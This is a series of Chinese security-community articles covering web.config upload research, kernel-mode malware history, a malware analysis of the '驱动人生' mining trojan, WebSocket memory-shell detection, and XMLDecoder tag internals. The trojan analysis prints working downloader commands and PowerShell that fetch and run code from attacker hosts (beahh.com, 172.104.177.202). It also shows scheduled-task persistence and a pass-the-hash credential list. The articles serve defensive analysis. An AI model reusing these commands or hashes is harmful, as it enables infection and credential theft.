在设置编译器选项时，我们基本上将参数传递给通过@字符传递的文件中的编译器（csc.exe，vbc.exe或jsc.exe）。
虽然命令注入会立刻产生在我们的脑海中，但它是无效的，我无法使用它运行另一个命令。
有两种可能导致命令执行的途径比我在本研究中发现的更容易：
编译特定文件时的代码执行
查找可以依次运行代码或命令的参数
。 -analyzer选项对于C＃编译器来说非常有前景，但是.NET执行的csc.exe文件中缺少它。
#### 4.3 探索新的处理程序
正如在本文中可以看到的那样，识别可以在`web.config`文件中处理的所有HTTP处理程序非常重要。
这是通过搜索实现IHttpHandler，IHttpHandlerFactory和IHttpHandlerFactory2的类来完成的。
以下是在浏览器中轻松查看它们的方法：
[https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,referen](https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references)[ces](https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references)
<https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,8437c9ce8bcd1bda,references>
<https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,21cd2fd2bb57b501,references>
应该注意的是，有时新的处理程序也可以从实现中派生出来。并且只需要很少的更改。
ASP.NET使用文件扩展名来检测其类型，如果无法获得Web服务所需的正确类型，则需要将新扩展名添加到buildProviders元素中。
但是，buildProviders元素只能由应用程序设置，否则会显示以下错误：
The element 'buildProviders' cannot be defined below the application level.
此保护已在.NET
Framework中的CompilationSection.cs的PostDeserialize()方法中编码，而不是在machine.config文件中：
<https://referencesource.microsoft.com/#System.Web/Configuration/CompilationSection.cs,904>
有一些方法可以使用预定义的扩展在IIS上执行命令，但本研究的重点是使用可能允许上载的新扩展。
可以在`ASP.NET`配置文件夹中的主`web.config`中看到预定义的buildProviders列表（例如C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config)）。
#### 4.4 临时编译的文件
临时文件和编译文件通常会复制到`.NET Framework`中的临时目录中，例如：
C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]
其中一些文件将立即被删除，我监视它们的最简单方法是删除我的应用程序使用的临时目录上的所有用户的删除权限。 当不再需要时，可以轻松恢复。
我们可以在那里创建文件，我们应该能够替换该应用程序的现有文件以在理论上执行服务器上的代码。
在实践中，所有这些文件在其名称中使用随机值，并且需要使用例如要分析文件名来窃取它们。 我还没有研究`.NET
Framework`何时创建新的DLL文件，但理论上应该可以重写这些现有的DLL文件来接管应用程序中现有.NET文件。
### 参考
[1] <https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/>
[2] <https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis>
[3] <https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/>
[4] <https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/>
[5] <https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/>
[6] <https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically>
[7] <https://www.owasp.org/index.php/Unrestricted_File_Upload>
[8] <https://github.com/nccgroup/CrossSiteContentHijacking>
[9] <https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627>
[10] <https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides>
[11] [https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100)](https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167\(v=vs.100))
本文为翻译文章，来自：https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/ | 社区文章 |
# 内核模式威胁的最新技术与防御方式（第一部分）
|
##### 译文声明
本文是翻译文章，文章原作者 Endgame，文章来源：Endgame.com
原文地址：<https://www.endgame.com/blog/technical-blog/kernel-mode-threats-practical-defenses-part-1>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近期以来，Windows的操作系统不断增加其安全机制，包括PatchGuard、Driver Signature
Enforcement和SecureBoot。这些机制，已经有效阻止了一些常见的内核模式恶意软件，包括TDL4和ZeroAccess。然而，一些高级攻击者已经找到了逃避这些防护机制的方法，并继续利用内核模式的恶意软件实施攻击行为。以内核模式运行的威胁通常可以完全控制被感染的计算机，可以重写操作系统的规则，并且可以轻松篡改安全软件。
APT小组意识到了内核模式威胁的优势所在，并且正在持续利用它们来对抗防御机制。最近，[我们在Black
Hat中发表了一场关于内核模式威胁的演讲](https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf)，其中深入研究了内核模式威胁的演变以及这些攻击的当前态势。通过对现有技术的整合，再加之高强度的攻击，攻击者可以访问一系列功能，从而实现更加复杂、更加难以检测的内核模式攻击。我们的下一篇文章将会重点讨论如何防御这些攻击，但在此之前，必须首先了解内核模式威胁所使用的最新技术。通过这两篇文章，我们希望能够让大家更加了解这些威胁，最终改善整个行业的防御态势。
## 内核模式威胁与平台防护的演变
### 早期的内核恶意软件
在十多年前，第一个真正意义上广泛传播的内核恶意软件问世，当时还没有针对这些威胁的系统级防御机制，因此这些恶意软件迅速爆发。包括[Rustock](https://www.virusbulletin.com/virusbulletin/2008/08/yet-another-rustock-analysis)、[TDSS](https://securelist.com/tdss/36314/)和[ZeroAccess](https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-zeroaccess-infection-analysis-12-en.pdf)在内的这些恶意软件，在其巅峰时有高达数百万的感染。这些恶意软件采用了相似的技术，都是通过感染磁盘上的现有驱动程序，来获取ring0执行。这些恶意软件通常还包含Rootkit功能，用于隐藏或阻断用户和安全软件的文件、进程和网络连接。
为了应对21世纪后期广泛存在的恶意软件，Microsoft开发了两种技术，用于减轻这些恶意软件的威胁。第一个是[PatchGuard](http://uninformed.org/index.cgi?v=8&a=5&p=2)，PatchGuard用于检测rootkit类型的技术（例如挂钩），然后将会造成系统发生崩溃。PatchGuard并不完美，并且可以被绕过，但这一机制不断发展，目前已经成为了攻击者的一大障碍。
此外，Microsoft还新增了另一种保护机制：驱动程序强制签名（[DSE](https://msdn.microsoft.com/en-us/library/bb530195.aspx)
）。驱动程序强制签名要求所有驱动程序在加载之前，都要使用有效的签名。这一机制可防止在系统上加载恶意软件（在进程中破坏数字签名）的驱动程序。
随着64位系统市场份额的增加，这两种防御方式显得至关重要。
### Bootkit恶意软件
为了逃避PatchGuard和驱动程序强制签名机制，一些恶意软件的作者开始利用Bootkits，将他们的恶意软件加载到内核模式。Bootkits会对与前期操作系统引导过程相关的代码进行篡改，例如MBR、VBR或其他特定操作系统的引导加载程序代码。
这类恶意软件，比较典型的是[eEye
BootRoot](http://www.orkspace.net/secdocs/Conferences/BlackHat/USA/2005/eEye%20BootRoot.pdf)的原始PoC、[Sinowal](https://www.f-secure.com/weblog/archives/00001393.htm)、[TDL4](https://www.welivesecurity.com/media_files/white-papers/The_Evolution_of_TDL.pdf)和[XPaj](https://securelist.com/xpaj-reversing-a-windows-x64-bootkit/36563/)等。其中，XPaj的一个重要特点在于，它在启动过程的早期，以挂钩的方式来绕过PatchGuard，这一过程甚至发生在PatchGuard自身被初始化之前。这也就意味着，PatchGuard默认将会把钩子视为合法代码中的一部分。
目前，安全防护领域通过Secure
Boot（[安全引导](http://www.uefi.org/sites/default/files/resources/UEFI_Secure_Boot_in_Modern_Computer_Security_Solutions_2013.pdf)
）机制来防范Bootkit恶意软件。这一技术已经加入到UEFI（统一可扩展固件接口）规范之中，并且在Microsoft Windows
8系统中首先实现。加入Secure Boot机制后，UEFI Runtime（替代原来的BIOS）在操作系统引导加载程序执行之前，会验证其数字签名是否正确。
因此，恶意软件对引导加载程序做出的任何修改，都会导致计算机无法正常启动。Microsoft使用了Trusted
Boot（[可信引导](https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process) ），继续对这种方法进行扩展。Trusted
Boot与Secure Boot的工作方式类似，但Trusted Boot会在整个启动过程中持续验证签名。Secure
Boot存在一个缺点，就在于它不能防范固件被篡改，因为固件被允许在Secure Boot检查之前运行。然而，例如Intel的[Boot
Guard](https://github.com/flothrone/bootguard/blob/master/Intel%20BootGuard%20final.pdf)计数器固件攻击技术，会将信任根（Root
of Trust）移动到CPU的Immutable Section中。
## 与其他漏洞捆绑的威胁
虽然DSE、PatchGuard和Secure
Boot能够防范常规的内核模式威胁，但是一些大规模的恶意组织仍然在寻找新方法来规避这些平台的保护。APT级内核模式恶意软件通常会安装一个合法的、经过签名的、存在漏洞的驱动程序，然后利用该应用程序获取内核代码，从而绕过DSE的防护。[Uroburou](https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf)、[Derusbi](https://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/)和[Slingshot](https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf)等威胁都采用这这种方法。其中，Derusbi还窃取了合法的证书，并使用这些证书来对恶意软件驱动程序进行签名。
此外，还有更高级别的威胁（例如[Duqu](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205202/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf)），它们不再安装存在漏洞的驱动程序，而是直接利用0
Day内核。为了进一步规避检测，Duqu会挂钩到Kaspersky驱动程序的导入地址表，并使得驱动程序认为恶意的用户进程是受信任的Kaspersky进程。随后，卡巴斯基驱动程序将该进程加入白名单，同时会防止该进程被本地用户或其他恶意软件终止。考虑到持久性，Duqu还会将驱动程序植入到网络DMZ中的磁盘上，该驱动程序经过一份窃取的富士康证书签名。该植入程序能够将网络流量重定向可以作为整个网络的入口
还有一个需要重点关注的恶意程序，是[DOUBLEPULSAR](https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html)。这是一种非常轻量级的内核模式植入程序，仅存在于内存中。这一恶意程序重启后不会具有持久性。它通常借助远程ring0漏洞加载到系统上，例如[永恒之蓝](https://www.welivesecurity.com/2018/05/10/one-year-later-eternalblue-exploit-wannacryptor/)。DOUBLEPULSAR允许攻击者通过在SMBv1驱动程序（srv.sys）中挂钩函数指针来对系统进行远程访问。在这时，PatchGuard没有监视这一功能指针。通过这样，攻击者可以加载更多的内核模式代码，或者注入一个更为完整的威胁，例如在WannaCry和NotPetya攻击中所进行的那样。
为了缓解对内核模式的漏洞利用，Microsoft发布了基于虚拟化的安全性（[Virtualization Based
Security，VBS](http://www.alex-ionescu.com/blackhat2015.pdf)）。在该机制中，内核由管理程序进行沙箱化，不再完全地控制系统。
管理程序代码完整性（[Hypervisor Code
Integrity，HCVI](https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/)
）机制则是对VBS的扩展，并要求对所有的内核代码进行签名。此外，不再允许内核内存可写可执行（W^X）。HVCI阻止了许多内核模式威胁，例如Turla
Driver Loader（将在下篇文章讨论）和DOUBLEPULSAR。[Credential
Guard还会利用HVCI来保护mimikatz](https://blog.nviso.be/2018/01/09/windows-credential-guard-mimikatz/)等工具的凭据。
## 展望
到目前为止，我们所讨论的缓解措施只是Microsoft在过去10年中实施的内核缓解措施中的一些重要机制，他们在最近的操作系统版本（特别是Win
10）中显著加大力度对这些威胁进行防范。然而，操作系统的市场份额仍然是一个主要问题，目前的绝大多数用户群体仍在使用Win 7系统，而许多已经升级到Win
10的组织中没有启用最先进的内核保护。由于这些保护措施还没有得到广泛的实施，因此攻击者仍然会发动地恒本的内核攻击。
那么，我们可以采取哪些措施，来防范内核模式威胁呢？在我们的下一篇文章中，我们将会介绍对攻击方式的最新研究成果，并直接分析如何防范这些威胁。在这些防范方式中，也包括红蓝对抗、漏洞挖掘和实时防护。尽管内核模式威胁仍会继续发展，但恶意软件检测技术也在同步进行发展，并且不断防御新的内核模式威胁。在下篇文章中，我们也会提出最新的检测方式，从而在内核模式威胁不断发展的背景下始终抢先一步。 | 社区文章 |
**作者：倾旋
作者博客：<https://payloads.online/archivers/2019-02-23/1>**
360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……
### 0x00 事件背景
360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中，木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能，并试图通过pass
the hash攻击进行横向渗透，使得该木马的传播能力进一步加强，即使是有高强度口令的机器也有可能被攻陷。
pass the hash也称作哈希传递攻击，攻击者可以直接通过密码的哈希值访问远程主机或服务，而不用提供明文密码。攻击者使用pass the
hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击，增加攻击成功率。
### 0x01 分析研讨
由于木马是样本都是不落地的方式，核心技术是通过定时计划任务执行powershell代码达到持续控制的目的，因此最先分析powershell代码，了解它做了哪些动作，指定查杀手段。
PS:样本代码过长，遂使用图片截图
### 0x02 分析过程
#### 解密第一层
病毒样本：
第一个动作，创建一个名为`Certificate`的任务计划，在七点开始，每隔一小时执行一次以下命令：
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
由于目前`cert.beahh.com`已经无法访问，所以进行下一个powershell分析环节。
首先，`powershell -nop -w hidden -ep bypass
-e`后接着就是base64编码的powershell代码，并且以Bypass作为当前执行策略。
Windows中的powershell执行策略：
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- --------------- MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Bypass
将后面的base64解密后：
得到如下代码：
while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}
外部是一个循环，将Sleep去除后，可以看到调用了`Invoke-Expression`，`Invoke-Expression`是一个能将变量的内容当作powershell表达式执行的函数。
而iex只是`Invoke-Expression`的别名。
下面简单演示几个例子：
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
将上述的木马脚本中iex替换成Write-Host即可：
while($true)
{
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}
在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。
#### 解密第二层
很明显，我们看到有`Invoke-Expression`，直接将`Invoke-Expression`改为`Write-Host`进行调试。
#### 解密第三层
现在获得的代码可读性变得非常低了，但是还是有一定规律可循。
在第83行，有一个大小写混合的`Invoke-Expression`：
并且`Invoke-Expression`做左边还有一个管道符，直接将代码改为`| Out-File .\tmp.log`
，把结果输出到tmp.log文件中。
#### 解密第四层
第四次好像混淆的更加厉害来，但是不影响我们的分析，先看首行：
. ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....
其中它是以`. (表达式)(表达式)`来执行的，于是我想到了另外一种函数调用的可能：
PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
这样也能执行，所以我判断`. ( $EnV:CoMsPec[4,26,25]-JoIN'')`就是`iex`或者`Invoke-Expression`，我将`. ( $EnV:CoMsPec[4,26,25]-JoIN'')`改为`Write-Host`直接执行：
最终获得了未混淆的代码。
然后，为了验证我的猜想，我把代码进行更改，获得了`Iex`：
. ( $EnV:CoMsPec[4,26,25]-JoIN'')` = `Iex
### 0x03 行为分析
[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp
ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av
= $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum
100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj
ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro
soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2
-recurse | Measure-Object -property length -sum).sum if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N
et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\
Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell
大致意思就是收集本机的操作系统版本、用户名、MAC地址、杀毒软件写入当前环境变量的`temp\ppp.log`中。
一般是`C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log`
然后下载新的powershell文件，到`C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1`中。
下载的URL是：<http://172.104.177.202/new.dat?xl>
目前ti上未打标签。
再次经过N层解密后，得到如下代码：
大约6000多行
脚本的功能：
1. 获得当前用户Hash，读取注册表
2. 获得当前系统版本、MAC地址、当前系统所有用户、反病毒软件，尤其是360 Zhudongfangyu服务
3. 端口扫描，全量1-65535、445、139都会扫描
4. 依赖于445 SMB服务进行传播
其中，常用的Hash和用户名：
[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")
SMB服务传播代码：
会上传启动项：`\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\run.bat`
这个run.bat就是我拿到的种子了。
该木马涵盖了Windows SMB客户端的所有代码，以及哈希传递技术的所有功能。
代码有很多都是采用了Invoke-SMBClient。
优先感染子网：
10.
172.
192.168.
其中在开始横向传播之前，它还会下载一个powershell代码：
但是目前这个域名已经无法访问，无法继续进行跟进。
http://p.beahh.com/upgrade.php?ver=1&mac=
其中在`$bytebase64`中发现了`run.bat`的代码：
### 0x04 预警与排查方案
* 1.开启Windows防火墙、关闭445端口。
* 2.防火墙禁止向`172.104.177.202`建立连接。
* 3.防火墙禁止与`*.beahh.com`域名的解析。
* 4.更改操作系统账号密码。
* 5.删除`Certificate`任务计划。
* 6.删除`Credentials`任务计划。
* 7.删除启动项`\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat`。
* 8.删除`%appdata%\Microsoft\cred.ps1`。
最主要就是禁止与`172.104.177.202`进行通信。
下载器样本：<https://payloads.online/scripts/2019-02-23-downloader.txt>
木马本体（解密后）：<https://payloads.online/scripts/2019-02-23-res.txt>
* * * | 社区文章 |
**作者：flamingo
原文链接：<https://mp.weixin.qq.com/s/T3UfA1plrlG-e9lgfB4whg>**
前几天看到一个推送，websocket新型内存马。因其自身注册在Ws下面所以常规的内存检测脚本memshell scanner无法快速检出来。
项目地址：<https://github.com/veo/wsMemShell>
为了防止应急响应的时候翻车，我复现了一下ws内存马，并在本地环境上做了一套检测方案，能够有效的查找这款内存马。
## 内存马复现
这套内存马作者提供了wscmd.jsp的样例文件。通过查看这个jsp代码跟作者给出的方法，大概就是上传这个jsp，然后通过参数传入路径，便能在其传入的路径下注册一个内存马。
根据这个方法，在本地搭建了tomcat后放上恶意文件，然后传入地址参数，实现了内存马的操作
从流量上看没有任何的特征
不信邪的我又跑去喊同事搭建了远程环境上去测了一下，还真的是没法看，但是传输的协议的WS，又不是wss，我不是很理解这是为什么，希望有知道的师傅指教一下。
不能说毫无特征吧，只能说没啥可看。
看起来这个方法再跟上反序列化漏洞的方法，将会是今年hw一大杀器。
## WS内存马检测手法
由于我本身目前工作都是蓝队应急方向的，所以这种大杀器在我这里就算不能流量设备检测出来，上机也得排出来。
既然是写在java内存里的，那么就能从内存里找到它。
java目录下打开java自带的jvm内存查看工具HSDB
java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
根据注入的方法，可以看出来应该是在Endpoint注册的，根据作者提供的思路也应该是这样
从tomcat目录下jps找到tomcat的pid
根据pid打开
从HSDB的class browser里面找这个class
打开它，并找到它的类层次结构，可以很轻易的看到这个jsp生成的内存马
马上把它导出来丢到ida里面看看，确实可以锁定这个是内存马，干掉就行
## 反序列化实现
那么反序列化出来的内存马是不是这样的呢？找了@清水川崎 水子哥来帮忙写了一段shiro反序列化的ws内存马注入，做了环境复现
反序列化复现方法这里不说了，减少今年干活儿的次数
同样的手法去检测，可以看到也能很明显的快速定位到ws内存马的位置
那么此次检测应急方法到此结束，后续遇到ws内存马可以按照此类方法检测。
* * * | 社区文章 |
## 标签
### java
* 标签内属性：class、id、version
//javaelementhandler继承于elementhandler，因此除了version、class还有id
public void addAttribute(String var1, String var2) {
if (!var1.equals("version")) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}
}
}
* 可加载类
//含有findClass，类含有this.type，表示能将类加载进来
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
}
* getValue与getValueObject没有直接的可利用点。getValue的返回值为 **null** 或者 **XMLDecoder对象** ，看标签内有没有写入class属性
//一般漏洞触发点是：getValueObject方法中调用了getValue方法，而getValue方法中实例化类、传参、调用函数
//而java标签对应的getValue方法里只是读取对象并返回
private Object getValue() {
//this.getOwner()的值为DocumentHandler,DocumentHandler的getOwner()为XMLDecoder对象
Object var1 = this.getOwner().getOwner();
if (this.type != null && !this.isValid(var1)) {
if (var1 instanceof XMLDecoder) {
XMLDecoder var2 = (XMLDecoder)var1;
var1 = var2.getOwner();
if (this.isValid(var1)) {
//要么返回XMLDecoder的owner对象，默认为空
return var1;
}
}
//要么出错
throw new IllegalStateException("Unexpected owner class: " + var1.getClass().getName());
} else {
//要么返回XMLDecoder对象
return var1;
}
}
* <java>标签之间的 **基础数据** （如string）会写入DocumentHandler中的objects，基础数据值即为<java>标签的返回值</java></java>
protected void addArgument(Object var1) {
this.getOwner().addObject(var1);
}
### array
* 标签内属性：length、class、id
//继承于NewElementHandler，因此还有class与id
public void addAttribute(String var1, String var2) {
if (var1.equals("length")) {
this.length = Integer.valueOf(var2);
} else {
super.addAttribute(var1, var2);
}
}
* 可加载类，因为继承于NewElementHandler
* getValueObject方法要么返回Object对象，要么返回Array类的实例化，因此无法起到像object标签的效果
protected ValueObject getValueObject(Class<?> var1, Object[] var2) {
if (var1 == null) {
var1 = Object.class;
}
if (this.length != null) {
return ValueObjectImpl.create(Array.newInstance(var1, this.length));
} else {
Object var3 = Array.newInstance(var1, var2.length);
for(int var4 = 0; var4 < var2.length; ++var4) {
Array.set(var3, var4, var2[var4]);
}
return ValueObjectImpl.create(var3);
}
}
* 标签返回值为Array类对象
<array class="test">
</array>
### class
* 标签内无属性，值写在标签间
* 可加载类
@Override
public Object getValue(String argument) {
return getOwner().findClass(argument);
}
* getValue加载进类
* 标签返回值为Class 对象
<class>test</class>
### object
* 标签内属性：class、method、property、field、index、id、idref
//继承于NewElementHandler
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
super.addAttribute(var1, var2);
}
}
* 可加载类，继承于NewElementHandler
* getValueObject方法中，若field、idref属性未加载，则可传入以下变量，并调用
* **类对象** （object标签中的class对象 or 父标签返回的对象）
* **object标签之间的部分标签作为方法参数**
* **方法名** （set or get or new or method）
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
...
else {
//很关键，var3是传入的类对象
Object var3 = this.getContextBean();
String var4;
//set or get方法
if (this.index != null) {
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
//如property值为owner，则方法名var4为setOwner
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
//方法名为method属性值 or new，new为类的构造方法
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}
//var3是传入的类对象、var4是方法名、var2是方法参数
Expression var5 = new Expression(var3, var4, var2);
//getValue传参并调用
return ValueObjectImpl.create(var5.getValue());
}
}
* 标签返回值为实例化对象
### void
* 标签内属性：class、method、property、field、index、id、idref
* 可加载类，VoidElementHandler继承于ObjectElementHandler，ObjectElementHandler继承于NewElementHandler
* 继承于object，与object有极大的相似性。使用void标签，无论什么形式，都会进入object标签的getValueObject方法
* 返回值为空
### new
* 标签内属性：class、id
public void addAttribute(String var1, String var2) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}
}
* 可加载类
* getValueObject方法可传入以下变量，并实例化类
* 类
* 构造函数参数
ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (var1 == null) {
throw new IllegalArgumentException("Class name is not set");
} else {
//var2为构造函数参数
Class[] var3 = getArgumentTypes(var2);
//获取类对应的构造函数
Constructor var4 = ConstructorFinder.findConstructor(var1, var3);
if (var4.isVarArgs()) {
var2 = getArguments(var2, var4.getParameterTypes());
}
//实例化类
return ValueObjectImpl.create(var4.newInstance(var2));
}
}
* 返回值为类对象
### field
* 标签内属性：class、name、id
public void addAttribute(String name, String value) {
if (name.equals("class")) { // NON-NLS: the attribute name
this.type = getOwner().findClass(value);
} else {
super.addAttribute(name, value);
}
}
* 可加载类
* 若class属性在field标签中，得到的是Class对象，因而name只能是static的变量
<field class="test" name="hhh"></field>
若field标签之前得到的对象不是Class对象，则name不限制
<object class="test">
<field class="test" name="hhh"></field>
</object>
private static Field findField(Object var0, String var1) throws NoSuchFieldException {
